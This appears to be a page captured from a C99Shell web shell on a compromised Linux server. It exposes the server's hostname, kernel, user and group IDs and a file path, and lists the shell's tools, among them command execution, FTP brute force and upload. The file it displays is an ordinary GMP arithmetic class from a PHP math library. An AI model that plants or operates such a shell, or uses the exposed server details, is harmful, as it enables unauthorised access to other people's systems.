!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/brick/math/src/Internal/Calculator/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GmpCalculator.php (2.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Brick\Math\Internal\Calculator;

use 
Brick\Math\Internal\Calculator;

/**
 * Calculator implementation built around the GMP library.
 *
 * @internal
 *
 * @psalm-immutable
 */
class GmpCalculator extends Calculator
{
    public function 
add(string $astring $b) : string
    
{
        return 
\gmp_strval(\gmp_add($a$b));
    }

    public function 
sub(string $astring $b) : string
    
{
        return 
\gmp_strval(\gmp_sub($a$b));
    }

    public function 
mul(string $astring $b) : string
    
{
        return 
\gmp_strval(\gmp_mul($a$b));
    }

    public function 
divQ(string $astring $b) : string
    
{
        return 
\gmp_strval(\gmp_div_q($a$b));
    }

    public function 
divR(string $astring $b) : string
    
{
        return 
\gmp_strval(\gmp_div_r($a$b));
    }

    public function 
divQR(string $astring $b) : array
    {
        [
$q$r] = \gmp_div_qr($a$b);

        return [
            
\gmp_strval($q),
            
\gmp_strval($r)
        ];
    }

    public function 
pow(string $aint $e) : string
    
{
        return 
\gmp_strval(\gmp_pow($a$e));
    }

    public function 
modInverse(string $xstring $m) : ?string
    
{
        
$result \gmp_invert($x$m);

        if (
$result === false) {
            return 
null;
        }

        return 
\gmp_strval($result);
    }

    public function 
modPow(string $basestring $expstring $mod) : string
    
{
        return 
\gmp_strval(\gmp_powm($base$exp$mod));
    }

    public function 
gcd(string $astring $b) : string
    
{
        return 
\gmp_strval(\gmp_gcd($a$b));
    }

    public function 
fromBase(string $numberint $base) : string
    
{
        return 
\gmp_strval(\gmp_init($number$base));
    }

    public function 
toBase(string $numberint $base) : string
    
{
        return 
\gmp_strval($number$base);
    }

    public function and(
string $astring $b) : string
    
{
        return 
\gmp_strval(\gmp_and($a$b));
    }

    public function or(
string $astring $b) : string
    
{
        return 
\gmp_strval(\gmp_or($a$b));
    }

    public function xor(
string $astring $b) : string
    
{
        return 
\gmp_strval(\gmp_xor($a$b));
    }

    public function 
sqrt(string $n) : string
    
{
        return 
\gmp_strval(\gmp_sqrt($n));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--